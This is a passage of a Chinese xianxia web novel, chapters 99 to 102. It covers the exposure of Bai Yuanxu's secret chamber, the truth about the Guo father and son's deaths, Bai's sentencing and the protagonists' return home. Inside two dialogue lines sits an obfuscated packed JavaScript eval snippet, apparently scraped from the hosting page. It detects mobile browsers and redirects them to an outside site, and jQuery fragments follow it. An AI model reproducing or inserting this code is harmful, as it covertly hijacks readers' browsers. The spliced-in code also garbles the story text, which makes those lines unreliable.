密室的屋顶很高,极为阔亮,身处其中的众人却只觉压抑。鲜血糊了满墙,红得森然,空气中浮动着罪恶的气息,向他们诉说着桩桩不知年月的血案。 梁惜因默然。这密室极有可能自顾掌门开宗之时就已存在了,那此前的历任掌门又是把它充作何用?如果都是如白元绪这般...她不敢再想下去了。 耳边响起重霄的轻嗤声:“可真是个藏污纳垢的好地方。” 99. 名毁 门口喧闹不绝。 原本摆放整齐的书册已被翻得乱七八糟,一册册泛黄的书在众修士手中传阅着。接到书的人翻了几页后便面露骇然,烫手般地把书传了下去,震惊与后怕传染似地出现在每个人面上。 “离魂诀、噬心咒、无极阵...这些书上所载的,都是早就失传的邪术和秘法!” “我知道这些书!千年前邪道昌盛、邪修横行,这些书大多都是他们所写。修仙界的正道宗门还为此展开了‘灭邪’之战。大战胜利后,有专门的修士负责查禁烧毁这些书册。可它们为何会出现在苍梧宗?” “顾前辈也算是千年前的风云人物了,这些书莫不是...?” 这话问得已算委婉了,所有在场修士都有了个心照不宣的猜测——苍梧宗开宗的顾掌门,怕不是原本就是个邪修。那这历代苍梧宗的掌门,又有几个是清白的? 数道或隐晦或幽深的目光全都落在了苍梧宗的几位长老身上。玄仪子不知从哪摸出了块点心,边嚼吧边含糊说道:“精彩啊。” 周长老脸色铁青,简直是气急败坏:“你们这是何意?想污我苍梧宗名声不成?”他指尖颤抖地胡乱点着,“这么多年来,我苍梧宗一直是仙门大宗,岂容得这般诬蔑?!” 被他点到的修士悻悻地收回目光,心中却不以为意,是不是诬蔑,还要另说呢。这么多邪书禁书,可不是白元绪光凭一己之力就能搜寻到的。 此时的白元绪靠坐在门边,虽是在笑,眼神中却好似淬满了毒。谢既微把手中的书放在架上摆好,向他确认道:“白掌门,你所使的那些邪术,皆是从此处习得的?” 白元绪将脑袋往后仰,整个身子都靠在了门框上,懒洋洋地答道:“是啊。” “魔兽和魔息,也是从此处放出的?” “不错。” 谢既微垂眸凝视着他。先前在主殿内,白元绪被他困在剑影中,分明未有多余动作,却仍能使唤魔兽下山作乱。想来他是能直接以灵力控制云隐石和这间密室,只是方才因灵力被封,才不得不启用机关入内。 白元绪自顾自地说道:“这密室是顾前辈传下来的,苍梧宗的历代掌门,手中沾得可不只有那些作恶的魔兽妖兽的鲜血。”他微仰着头,眼帘半垂着,哪怕是坐在地上,也像是在睨视所有人。 这下不止周长老,苍梧宗的所有修士皆是暴跳如雷。 “白元绪!你好歹也做了这么多年掌门!何以如此不顾情义和脸面,连那些早已退隐的前辈都不放过!” “满嘴胡言...满嘴胡言!我苍梧宗是正道大宗、能人辈出,你这话有何证据!” “诸位,万万不要轻信他此言,白元绪之前都做了些什么事,想必各位心里也清楚。这种人被逼急了,自然做得出倒打一耙之事。” 扶岳抱着双臂,倚在书架一侧,犹如忍俊不禁般说道:“要证据?门口的云隐石和这间密室,不就是最好的证据吗?” 苍梧宗的几人对视一眼,后背满是冷汗。他们可没忘了,书房外还有一众修士正目视着这一切。若是没设留影符,他们还能先请在场的修士大能勿将此事传出,再从长计议。而非像现在这样,想瞒都瞒不住。 这么多门派的修士聚集在密室内外,恐怕不出一日,苍梧宗的丑闻就要传遍天下了!届时整个苍梧宗注定要沦为修仙界的耻辱与笑料。世人会如何看待他们?前辈后人又会如何看待他们? 周长老感到一阵眩晕,事情怎会变成这样?苍梧宗又怎会变成这样?他怨毒地盯着白元绪,若不是他非要走那邪门歪道,非要使留影符,又怎会如此!他这是将苍梧宗历来的所有修士都置于了不义之地,歹毒如斯。 白元绪扬眉,好整以暇地对他说:“周长老,我先前就说了,你们可不要后悔。” “你!”周长老正欲发作,却被一道声音打断。 “白掌门,郭明远的剑为何会在密室中?”梁惜因疾步走来,身后跟着重霄。她抬起右臂,手上握着的一把长剑便赫然出现在众人眼前。 梁惜因知门口处有骚乱,却没急着过去,仍旧在密室中走着。离了那些铁笼,她没走多远就看见一排博古架。 这块地算得上是密室内难得的净土。无论是架子本身还是架上的宝物,皆纤尘不染,光彩流溢。梁惜因缓步踱着,有些物件她虽叫不上名字,却能实打实地感受到它们的珍贵与所经年代之久。 苍梧宗的这些掌门,收藏了不少好东西啊。 蓦地,她停住脚步,视线落在了其中一处格子上。重霄紧随着止住步子:“阿因,怎么了?”他的目光一直追随着梁惜因,半点都没分给架上的琳琅宝物。 在顺着梁惜因的视线望去后,他却是骤然沉了脸色。那柄剑,他不会忘。 其实梁惜因并没有多么熟悉这剑,之所以会注意到,只是因为它太过于显眼了。说它显眼,不是因为它有多么夺目独特,相反,在一众宝物间,这柄剑简直称得上是朴素无比,灰扑扑的,剑鞘上甚至还有划痕。 但就是这样一把剑,却被置于一处极大极为显眼的格子中,让人一眼就能看到。梁惜因也未在其中感受到多少灵力,除非这柄剑有着极为特殊的含义,不然她实在想不出密室主人为何要这般做。 梁惜因眯了眯眸子,总觉着这把剑有几分眼熟,一时却又想不起来。她正欲开口问重霄,但在侧首看到他神情的一霎那,她心中就有了答案。 白元绪的呼吸似是滞了一瞬,旋即又恢复如常,他笑道:“含盈仙子真是好眼力。” 所有人的目光都落在了梁惜因手中的剑上。谢既微将剑接过,拔出鞘看了一眼,皱着眉心传给了另一名修士,长剑在众修士手中传了一圈,最后又传回到了梁惜因手中。 “是临阳剑!郭明远的临阳剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992645|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “可郭明远不是在两百多年前就被...他的剑怎会在此处?” 谢既微沉声说:“若谢某记得没错,两百多年前,那件事发生的现场正巧就少了一人一剑。”剑当然是临阳剑,人则是一名至今都不知名姓的外门弟子。 至于为何当时不调查下去...部分修士低下了头,不去看重霄。其余修士则紧紧盯着白元绪,毕竟这位白掌门,一开始也只是位外门弟子啊。 已有急性子的修士将疑问脱口而出:“白元绪,两百多年前的那件事,与你究竟有何干系?” 白元绪双眼放空,犹如没听到他的问话。半晌,他才好似回过神来,幽幽地说:“那件事啊,还真与我关系大着呢。”他那双下垂的眼扫过在场的每一名修士,恨意昭昭,“你们可想知道,郭明远和郭循,是怎么死的?” 周长老反应剧烈:“不!不想知道...知道什么,我们什么都不想知道!不要说出来,求你了,求你了...”他说出的话混乱非常,看上去已然有些癫狂了。 “聒噪。”林韵舒指尖寒芒一闪,一根银针精确无比地插进了周长老的后颈中。周长老身子晃了晃,眼睛一翻,倒在了地上,又被苍梧宗的另几人拖了出去。 梁惜因:“......”嫂嫂好针法啊。 她看向无知无觉被拖走的周长老,心内微叹。岁月流转,不知多少宗门都湮灭在了尘埃中,苍梧宗虽几经波折,在修仙界中的地位却仍是不可撼动。这一朝东窗事发,也不知他们接下来的路要如何走。 众人并不在意周长老,而是思索着白元绪的话。 “怎么死的?这不是众所皆知的事吗?”越来越多的视线飘向重霄,却始终无人敢说出他的名字。梁惜因往旁挪了步子,但因身高不够,还是挡不住那些人的视线。 她蹙眉,正苦恼间,却觉肩上一重。她回头,脸上的神情还没来得及调整过来,重霄将放在她肩上的手掌上移,轻柔地替她抚平了眉心。温热的呼吸喷洒在耳畔,她听得重霄温声说:“阿因,不必忧心。” 说完,他侧身一步,反过来挡在了梁惜因身前。他看向坐着的白元绪,眸中冷意森然:“郭循,是你害死的。” 当年事发之时,他心里念着梁惜因,注意力大多都在郭明远和郭循身上,并未过多关注一个籍籍无名的小弟子。后来...他体内怨气失控,神智不清,在反复的混沌与清醒间,他曾透过那重重黑雾,看见一个慌忙拿剑奔逃的背影。 浓雾散尽般的,两百多年前的记忆在此时骤然清晰起来。面前的白元绪,不论是身形还是样貌,都像极了当年的那名小弟子。 白元绪一直看着周长老被拖到门外,才意犹未尽地收回目光。他轻笑几声,转头对上了重霄的视线:“是我害死的又如何?” 梁惜因紧握着手中的临阳剑,深吸一口气,对他道:“说下去。” 100. 了断 两百多年前,郭明远和郭循在挟走重霄后,深知梁惜因很快就会赶回来,是以御剑没行多远,就落在了一处密林中。 重霄被剑影包围着,警惕地观察着这二人的一举一动。不到万不得已的时候,他不想动用怨气。这些时日以来,他能感受到体内怨气的躁动,它们太久没出来了,它们渴求着鲜血与杀戮,为此不会放过任何机会。 重霄咬牙,一遍遍告诫自己不能失控,这两人不能杀。苍梧宗的掌门若当真死于他手,这修仙界,可就再也容不下他了。 白元绪站在离他们几人很远的地方,同样观察着郭氏父子的举动。他此前虽没亲眼见过重霄,但也听过不少传闻——据说含盈仙子门下有一魔族弟子,本性难改,戕害同门。 他不知郭明远和郭循为何要抓走重霄,也不知他们为何要带上自己。但有一点他很是清楚——他活不过今天了。 不...他不想死,他才被陆闻朔举荐入苍梧宗,才初踏上修仙之途,他不想死。白元绪面色煞白,他想逃,可他甚至连佩剑都没有,只有一身低微的灵力,又如何能逃得出去? 郭明远在空中绘着符,对郭循使了个眼色。郭循会意,扭头向白元绪走来,厉声道:“过来!” 白元绪向后退着,连声恳求道:“师兄,你让我回去吧师兄,我保证不会将今日之事说出去...” 郭循面上闪过嫌恶,直接拽着他的衣服后领将人扯了过来:“少废话,站好了。” 看着眼前微微发颤的身躯,郭循竟是缓了面色,对他说:“怕什么,此番你也是为苍梧宗做贡献了。你一个外门弟子,该感到荣幸才是。放心,就算你这下死不了,我和父亲也会给你个痛快的。” 郭明远推掌,将绘好的符打向重霄。符文在触及到重霄的瞬间就消失了,就如融进了他体内。重霄拧眉,面露痛苦,豆大的汗珠一滴一滴从他的额上渗进泥土中,他却硬是咬紧牙关没有痛呼出声。 丝丝缕缕的怨气从他体内溢出,在空气中扭曲着,游荡着,似在欢庆终于又能出来了。郭明远满脸狂热,他将手掌往回收,又猛地推出去打向白元绪。 刹那间,浓稠的黑雾争先恐后地从重霄体中涌出,又疯狂扑向白元绪,犹如一张巨口。郭循扬起唇角,正欲将白元绪向前一推,自己闪身离开。可眼前这个一直唯唯诺诺的小弟子不知从何来的胆量和力气,竟是直接挣脱了他的手,并以快到几乎难以想象的速度推了他一把,自己倒落在地滚向一旁。 这一切都发生在电光石火间,郭循大脑一片空白,完全没反应过来发生了什么。等他回过神来时,他已被怨气啃噬得不成样子了。 “循儿!”郭明远大叫出声,五官因震惊扭曲在了一起,眼中只剩被怨气包裹着的郭循。他双手捏诀,拼了命的想要救自己的儿子。可怨气根本不听他的指令,郭循一开始还在痛苦大叫着,不多时就彻底没了声息。 事情已超出了他的控制。郭明远骇然扭头,梁惜因的这个弟子,到底是什么来头?! 就在这时,他感到腰间一空。刚侥幸捡回一条命的白元绪不知何时绕到了他身后,取了他腰间的临阳剑就跑。郭明远大怒,抬手就挥了几道诀过去:“混账!还我儿子命来!” 白元绪受了这几击,瘫倒在地,嘴里不断冒着鲜血,手中却还紧紧握着那把剑。即便如此,他在下一瞬就立马爬了起来,跌跌撞撞地继续向前跑,一边跑一边把剑拔了出来。 惊异自郭明远眼中划过,他这几道诀下去,白元绪高低也得落个半残,可他又是怎么站得起来的?郭明远眸色狠厉,眼见这小子就要御剑跑了,当即又要施诀。还没待他将诀施出去,他忽觉背后一凉。郭明远悚然回头,就见如山的怨气正向他压来。 “啊啊啊啊啊——” 白元绪轻叹一声,像是在惋惜:“好端端的,谁会想害人呢?可他们若是不死,死的,就是我了。”他饶有兴致地端详着重霄,“郭明远会死是我没想到的,他再如何不堪,好歹也是一宗掌门,结果竟死得这般轻易。” “说来我还真要感谢他们二人。要不是他们,我也想不到怨气能被引入体内,还能有如此的威力。” 他兀自说着,密室内却无人答话,空气好似都凝滞了。 按他的说法,郭明远和郭循分明是自寻死路,用邪术害人不成,反倒将自己的性命搭了进去。可那时的各宗各派又都做了些什么?一口咬定一切都是重霄的罪过,誓要让他“以命偿命”,将人逼进了漆吴山中。苍梧宗的修士更是面露恍惚,真相如此,那他们这些年对重霄和魔族的深恶痛绝又算得上是什么呢? 眼下已不止是苍梧宗的名声毁了,整个修仙界都被架在了火上烤! 重霄丝毫不在意他们作何想法,怨气在他掌中翻涌着,他不带任何感情地对白元绪说:“当初就该把你一道杀了。” 白元绪闻言大笑:“杀了我又有何用?就算是那两个姓郭的蠢货自己找死,可他们到底死在你手中。”他往前倾了倾身,“还是说你想除掉我这个祸害?可除掉了我一个,还会有无数个,只要这间密室还在,苍梧宗就永远干净不了!” “所以你从那时起就动了入邪门歪道的心思?”梁惜因问。 她在一开始无疑是愤怒的,也难免有些怨恨。郭氏父子之死,全非重霄本意,可为何要由他来承担一切?还有白元绪,他既已逃得生天,却不将真相告知任何一人,使得事情再无分毫转机。 这个念头只不过在脑中存在了一瞬,梁惜因就意识到有多好笑了。白元绪怎么可能将事情说出来?他要如何向众人解释为何就剩他还活着?就算此事当真得到解决,重霄没有被判罪,但一次躲过了,下次呢? 只要他还怀着那身随时都有可能失控的怨气,就注定是修仙界的眼中钉。没有郭明远和郭循,也会有别人出手;没有这件事,也会有别的事发生,防不胜防。 他们容不下他。 排斥异己,欺软怕硬,这世道向来如此。 “可能吧。”白元绪淡声答道,“多亏顾前辈传下了这间密室,可真是给我帮了不少忙。” 梁惜因望着他,没有再说话。白元绪作恶多端,这一朝败露,恨他、怨他的人多的是,以他的罪行,判起来怕是要魂飞魄散,再无往生之机了。 手中的临阳剑沉甸甸的,他将这把剑置于那般显眼之处,是出于恨?还是想提醒自己什么?梁惜因不得而知。她没来由的觉着,可能连白元绪自己都不清楚。 一片心思各异的沉默中,谢既微开口问一名苍梧宗的长老:“苍梧宗掌门白元绪,背正入魔,残害无辜,祸乱皇城。以幻阵禁锢往生魂魄,意欲挑起人魔两族战争。按苍梧宗的法度,该如何判处?” 那长老立刻恭敬答道:“回谢掌门,理应将其投入断恶阵中,令其□□与魂魄一同消亡。至于这密室中的所有东西,也都会烧毁。” 另一名长老接道:“诸位放心,处决之时定会再请诸位前来,绝不会营私舞弊,让他再有逃脱之机。” 谢既微默了默,才应道:“那便这么办吧,劳几位费心了。” “哪里哪里,谢掌门客气了。” 听着他们在三言两语间定下自己的命数,白元绪只觉得好笑。自己这么多年来所耗费的心力,所得到的一切,究竟又是为了什么?不过是生不带来,死不带去罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998834|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他踉跄着站起身,眼神如刀:“处死我是容易,但苍梧宗这近千年来、这么多任掌门所犯的罪孽,你们算得清吗!” 谢既微平静回道:“这些我们自会调查处置,不劳白掌门忧心。” 白元绪倚着墙,却是忽然笑了起来:“好啊,好啊...也该结束了。” 众人陆续出了密室,谢既微和梁惜因几人走在最后。部分修士还犹犹豫豫地不肯走,目光在架上的书册流连着。 待所有人都离开后,密室的大门重新缓缓合上。白元绪必死无疑,为防这间密室再被不轨之徒利用,众人在短暂的商议后,一致同意暂由谢既微保管这枚云隐石和与之相连的密室。 谢既微划破手掌,将蕴着灵力的鲜血注入石中。云隐石蓝色的流光化为深红色,旋即又恢复如常,再度悬于木门前。谢既微挥袖,木门连同云隐石便一并消失在了众人面前。 “接下来的事,就先拜托诸位了。”谢既微对苍梧宗几位长老说。 “诶,一定一定,谢掌门放心。” 正当他们要继续走出书房时,角落里的白元绪却突然发难。他一把拔出被交到苍梧宗长老手中的临阳剑,猛地刺向不远处梁惜因的咽喉。重霄反应极快,几乎在同时抬手揽住了梁惜因,将她护在了自己怀中,任由临阳剑砍在他的肩头。 重霄手腕翻转,一团怨气打在了白元绪胸口,直让他口吐鲜血,再无法起身。同一时刻,长昀剑光一闪,穿透了白元绪右侧的琵琶骨。 重霄的脸色沉得可怕,数九寒冰犹不及也:“白元绪,我不介意再杀一个苍梧宗掌门。” “阿霄!”梁惜因担忧地唤道,想要察看他的伤势。 重霄侧首,轻笑着说:“弟子无事,小伤而已。师尊可有吓到?” “当真无事吗?”梁惜因神情紧绷,极轻地触碰着他受伤的肩膀。 重霄握住她的手腕,用袖子将她指尖沾染的血一点点擦尽:“师尊放心。” 梁惜因当然还是放不下心,可此处到底人多,是以也只能作罢。长昀剑已回到谢既微手中,鲜血顺着剑尖流淌。他压着怒意问:“事已至此,你还要负隅顽抗吗?” 白元绪往外咳着血,语调却带着笑:“负隅顽抗?那可算不上。黄泉路上一个人多无趣,白某只是想找个人作伴而已。”梁惜因所站的位置并不是很方便他下手,但她是阵修,近战定然反应不过来。而且...想起最开始她带来的留影符,白元绪就觉恨意在心中翻涌着。 他望着在他面前站定的重霄,笑嘻嘻地问:“魔尊,这护花使者当得可还满意?” 重霄不答,而是回了他的上一句话:“白元绪,你害死的人可都在下面等着你。”他话音一转,又道:“不过受断恶阵惩处之人,当真能下得了黄泉吗?” 白元绪一愣,接着大笑出声,他越是笑,口中涌出的鲜血越多,将他的衣领染得已看不出原本的颜色了。 他目光下移,见捆缚着白元绪双手的黑雾已被挣脱。白元绪的灵力和魔息分明都已要消耗殆尽,能将他的怨气挣开,除非...重霄双指凝出一缕怨气前去探查。果然,白元绪体内筋脉尽损。这副身子,就算不动用任何刑罚,也绝对活不过三天。 以自己的命来做这最后一搏吗?重霄一时不知是觉着可悲还是可笑。 苍梧宗的人生怕重霄会大开杀戒,赶忙连拖带架地把白元绪带出了书房,口中还连声道:“魔尊见谅,魔尊见谅。白元绪他疯了,我们这就把他押入地牢。” 白元绪面上还在笑着,双眸却是一片死寂。点点滴滴的鲜血落在地面上,在霞光的映照下,犹如一枚枚小小的红日,刺目极了。 101. 回家 书房外,一众修士早已等候多时。方才发生了何事,他们透过留影符都看得一清二楚。大地吞噬着残阳,谁能想到这不过短短一日,修仙界就彻底变了天? 苍梧宗的长老们聚在一处,全都哭丧着张脸,“这可如何是好,如何是好啊?!” “还能怎么办?难不成真把宗门散了?宗门延续千年,断不能毁在我们这一辈人手中。” “唉,只能走一步看一步了。至于那些弟子,愿意留下的就留下,想走的就走,也不强求。” 数道隐晦的目光在重霄身上逡巡着。仔细思来,魔族滥杀之徒无数,但他们好像确实没听闻过魔尊杀害无辜百姓。郭明远和郭循,死得着实不冤。只希望魔尊能看在含盈仙子的面上大度一些,别再去计较那些算不清的陈年旧账,不然这天下要何日才能安宁? 殷照上前一步,问谢既微道:“掌门,不知接下来做何打算?” 不止是他,几乎所有修士的目光都集中在了谢既微身上,等着他发话。 谢既微按了按额角,白元绪虽已被关押,但事情远远没有结束。密室的处理,苍梧宗历代掌门的罪行,自家宗内还有个叛徒...谢既微摆手,说:“今日时候不早了,诸位也多有劳累,先回去休息吧。其余事项明日再议。” 众人并无异议,或御剑或布阵,陆续离开了。玄仪子乘着龟甲,慢慢悠悠地晃到梁惜因面前,笑眯眯地问:“含盈,可想好今后的打算了?” 梁惜因唇畔漾着笑:“打算?无非是春赏花、夏行舟、秋登临、冬踏雪。” 玄仪子抚掌:“好极,好极!卜星阁随时欢迎二位前来做客。” “好,晚辈届时定会带上皇城最好的点心前去拜访。” 玄仪子飘入布下的阵门中,回望着她说:“说到做到哦。” 梁惜因点头应道:“一定!” 因记挂着梁惜时还在山下,梁惜因旋即也布阵来到了山脚。梁惜时见了她,眼底忧色霎时褪了大半,他疾步上前,上下端详着梁惜因:“怎么去了这么久,可有受伤?” “哥,放心,事情都已解决得差不多了。至于受没受伤...这还多亏了有阿霄在。” 梁惜时也注意到了重霄肩上的深色痕迹,神情有些别扭。而重霄一到梁惜时面前就变得很是拘谨,只觉手都不知要如何放了。两人相对无言半天,最终还是重霄开口唤道:“...哥。” 梁惜时身子一僵,到底是没否认,清了清嗓子道:“做得不错。” 他语速极快,仿佛这话烫嘴一样。他转回视线,又对梁惜因说:“到底发生了何事?白元绪他现下如何了?” 梁惜因挽住他的手臂,另一手开了道阵门:“这说来话长,回去后我慢慢与你说。” 梁惜时拨了拨她额前的碎发:“好。” 察觉到身后之人没有跟来,梁惜因回眸,扬唇对重霄道:“走呀,一起回家。” 梁惜时虽没回头,但也止住了步子,似在等重霄跟上。 回家。 重霄发现,哪怕和梁惜因相处了这么久,他也会轻易被她一句话、一个笑容扰乱心神。 “来了。”他含笑点头,踏入了流溢着微光的阵门。 - 皇城,苍梧宗山脚的酒楼内。 燕明昭打了个哈欠,问几人道:“你们说那苍梧宗到底发生了何事?怎么那些长老峰主上去了,到现在也不见下来?” 柳甫畅立马接道:“是啊,也不知今日还能不能见上师太祖。” 杜昱搭上叶天舟的肩:“想什么呢,在这愁眉苦脸半天了。” 叶天舟烦躁地抓着头发:“我也不知,就是莫名有种不好的预感,总觉着要出事。” 江映和劝他说:“还能出什么大事?刚刚那么大的事我们几个不都挺过来了,我看你就是想太多。” 苏柚也说:“叶仙友,忧思伤神。” 叶天舟默了默,猛地站起身来。坐在他旁边的杜昱被吓了一跳,险些从椅子上栽下去:“你作甚?” 叶天舟大步向外走去:“不行,我得再去看一眼。” 江映和不解:“又不给上山,你这跑来跑去的有何用?” 谢淳将手中茶盏放下,轻叹了一声:“总归是心里能安定些。” 不多时,叶天舟就回来了,神情颇为激动:“事情解决了,可以上山了!” 燕明昭拍桌站起,差点带翻了身前的茶盏:“当真?那你可看到我师尊和师太祖他们了?” 叶天舟答得很快:“殷峰主没见着,但我看见含盈仙子入阵了,估计是回玄晖宗去了。” 柳甫畅抓起放在桌上的折扇:“走,我们也回去。” 见状,叶天舟对他们挥了挥手:“那我先回宗了!” “诶,去吧去吧。”杜昱一脚踏入谢淳开的阵门,探出半个身子对他说:“放宽心!有什么事就给我们传符,我们几个一道给你想办法!” - 玄晖宗,天璇峰。 梁惜因三人从阵中出来,又碰上了两拨人,一拨是纪长天和常谧,另一拨是谢既微,扶岳和林韵舒三人。 纪长天和常谧见了几名长辈,一一行了礼。梁惜因让他们起身,让重霄先带他们去弟子院,自己随后就来。 重霄领命,带着纪长天和常谧走了。余下几人则来到了东面的落雪轩。 望着院门上自己亲手写下的匾额,梁惜因心中一时感慨万千。 梁惜时抬手接住一片莹白的梨花瓣,面上闪过一瞬的惊异:“这梨树,何时又开了?” 梁惜因正推开门向院中走去,闻言半开玩笑道:“我这梨树可是一年四季常开不败的,哥哥莫非连这都忘了?” 谢既微拂去白发上沾的花瓣,温声说:“含盈有所不知,自...你走后,这梨树两百年都没再开过花。我这些年多在闭关,竟也不知这梨树何时又开了。” 梁惜因默然,心中说不上来是什么感受。她仰头望着满树繁盛的梨花,犹如望着一位故友。半晌,她抬手抚上树干,将前额也轻轻贴了上去,柔声说:“我回来了。这些年...也是辛苦你了。” 梨树好似听懂了她的话,明明此时只有微风,那枝叶却还是摇动起来,落了她一头的梨花瓣,如絮如雪。 扶岳两手抱在脑后,对梁惜时和谢既微道:“我说你们两个也不常过来看看,不然就能早些知道含盈已经回来了。” 梁惜时陷入了沉思。扶岳说得自是在理, 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扶岳几步走上前来,对着树下挥了一拳。泥土被拳风打散,露出了酒坛的一角。扶岳单手将坛子从土中提出来,在准备开坛时,他又迟疑起来,抬头看着几人说:“我开了啊,我真开了啊。” 梁惜因悲壮点头:“开吧。” 酒坛打开的一瞬间,一股极为难言的味道从中溢了出来,像是什么东西腐烂发臭了。梁惜因掩鼻,她就知道!两百年了,这酒还能喝就见鬼了! 半刻钟后,几人围坐在桌前。梁惜时抿了一口杯中温茶,宽慰梁惜因道:“阿因莫要在意,哥哥再陪你酿一坛便是。” 梁惜因摇头浅笑:“这有何好在意的,说来我也是第一次见埋了两百年的酒是何模样。” 一番闲谈过后,梁惜时肃容问道:“苍梧宗上到底发生了何事?” 谢既微也敛起笑容,将事情大致与他说了一遍。 梁惜时眉心越拧越紧,待谢既微说完后,叹息着道:“白掌门...也只能说是罪有应得了。” 谢既微回道:“不错,无论他初衷为何,又曾经历过什么,既是已经做出了这些伤天害理的事,就注定难逃责罚。因果轮回,报应不爽。就算修仙界不罚他,天道也不会放过他,他来生...” 他说到一半顿住了,忽然意识到白元绪已不会再有来生了。 他转了话音,继续说:“对他的处置也就在这一两天了,这何尝算不上是一种解脱?”谢既微不知白元绪是如何想的,但对他而言,比起每日边作为一宗掌门处理事务,边小心翼翼地研究邪道吸取魔息,死亡或许当真是一次难得的休憩。 桌上的寂静并未持续多久,梁惜时又说:“重霄...这么多年来也是不容易。郭氏父子死得突然,群情激愤下,不会有人去细想此事有何蹊跷,只会将他当作泄愤的靶子。” 梁惜因面露惊喜,望向梁惜时:“哥?!” 梁惜时不自在地移开视线:“做何?实话实说罢了。此事过后,想来各门派近期都不会再去找他麻烦。” 扶岳挠了挠头:“说起来,有一件事我早就想问了。含盈和魔尊重霄,是如何回来的?” 102. 挑明 重霄熟门熟路地领着二人来到弟子院。烛火轻曳,茶香氤氲,三人一时谁都没有先开口说话。 最终还是重霄打破沉默道:“师兄,抱歉,若不是我...” 纪长天打断他,笑吟吟地说:“怎么又说起这事来了。我先前便说了,那件事我从未怪过你。” “可是...” “没什么可是的。”纪长天展开双臂,让他不要担心,“你看我现在不是很好嘛。” 重霄顿了顿,也露出了个笑容来:“是,师兄。” 纪长天晃了晃茶盏,垂眸看着里面自己的倒影,感慨道:“其实...在师弟刚入天璇峰时,我总担心你会不喜欢我。” “怎会?”重霄立马道。 常谧轻笑,说:“我那时也说他是忧心过甚,说不定小师弟就是这般性子呢?” 重霄没否认。刚入宗门时,除了梁惜因,他对谁都带着戒心,只不过或轻或重罢了。自然也没那么容易和旁人亲近起来。 纪长天赧颜道:“我也是第一次做别人的师兄,就怕自己做得不够好,没尽到做师兄的责任。”说着,他神情黯淡起来,“想来我确实不算一个好师兄,不仅没能护住师弟,还离开了那么长时间。” “这如何能怪师兄?分明是我...” “好了好了。”常谧打断道,“照你们这般聊下去,聊到天亮也结束不了。” 重霄和纪长天相视一眼,同时笑了起来。 “师兄做得,已经够好了。”重霄真挚说道。 “是吗。”纪长天难为情地笑了笑。他从袖中取出一枚鹤纹玉佩来,轻柔地放在掌心中,“师弟送与我的,我一直都留着。” 这玉佩由凡人所制,却能在两百多年后依旧光洁如新,少不得其主人的珍视与养护。重霄眸光微动,默了片刻才说:“这玉佩毕竟是旧物了,待来日我亲手雕刻几枚,一道给师兄师姐送去。” 纪长天将玉佩收起,没有第一时间答应,而是问:“如此可会过于劳烦师弟?” 重霄摇头:“小事而已。” 常谧嘴角的笑意一直未曾落下,眼前这再平常不过的场景,她期盼了两百年,才终于等来。 - 落雪轩。 梁惜时面色凝重,一连说了好几声“原来如此”。 “等到了明日,我要亲自前往卜星阁去拜谢一番。” 梁惜因瞟了眼他,小声说:“哥,对不起。” 梁惜时微怔,随后叹了口气,无奈道:“跟哥哥有何好道歉的。我早先便说过了,不论你做出什么决定,哥哥都会支持你。” 他伸手揉了揉梁惜因的脸:“我们阿因也长大了,不再是躲在哥哥身后的小姑娘了。” 梁惜因将喉间的哽咽压下,笑着应道:“以后换我来保护哥哥。” 谢既微眉目舒展,也说:“能回来就好。” 扶岳摸着下巴,恍然大悟道:“所以惜时是因为用灵力维系着几个阵法,修为才一直恢复不了?” 所有人都看向他,虽无人回话,但意思已很明显了。 扶岳一拍脑袋:“你们怎么不告诉我?”他扭头看向林韵舒,带着最后的希望问:“你也知道?” 林韵舒目光飘忽:“...嗯。” 扶岳:“......” 他两手抱住头,像是被打击到了:“我就说为何我和韵舒每次都带那么多灵植去找惜时,但惜时就是一直不见好。” 谢既微咳了两声:“也非是存心不告诉你,此事毕竟关乎含盈,若是你无意中说漏了嘴,惹来一些别有用心之人破坏阵法,那麻烦可就大了。” “怎么!”扶岳起初还很不服气,可在气势十足地喊出这两个字后,他的嗓音逐渐弱了下去,声若蚊喃地补充完了最后一个字,“...会。” 因为他很快反应过来,自己一旦喝了酒,说不定真能做出这种事来。 他抓了抓脸,咕哝道:“行吧,现在知道也不迟。” 梁惜因掩住笑意,说:“还未祝扶岳哥得偿所愿呢,过几日我就把贺礼给你们补上。” 扶岳推拒道:“含盈你能回来便是最好的了,还要什么礼物。” 梁惜因摇了摇头:“心意还是要尽的。” 林韵舒莞尔:“那我便先在此谢过含盈了。” 扶岳往前挪了挪,半个身子都趴在了桌上,目光如炬:“惜时、既微,你俩啥时候再给含盈找个嫂子回来啊?” 谢既微无奈笑道:“我每日要处理的事就已够多了,哪还有功夫去找道侣。” 梁惜时也说:“就我现在这副身子,顾着自己已是不易,还是莫要委屈旁的女修了。” 他目光移向梁惜因,随口笑问道:“阿因呢,可有意中人?” 梁惜因:“......” 她清了清嗓子,坐直了身子,迟疑着说:“其实...” 梁惜时脸色一变,骤然褪去了笑意。不是,他就随口一问,来真的啊?? 一盏茶后,梁惜因抱着梁惜时的腰,死命拦着他:“哥!你先冷静一点啊哥!!” 梁惜时一步一步缓慢而坚决地朝门口挪着,眸中几要喷出火来:“别拦我!谁都别拦我!那小子现在还在天璇峰吧,看我怎么收拾他!!” 扶岳看着这两人,目瞪口呆,还没有缓过神来。他戳了戳一旁的林韵舒:“夫人,你掐我一下,我怎么觉着我在做梦呢。” 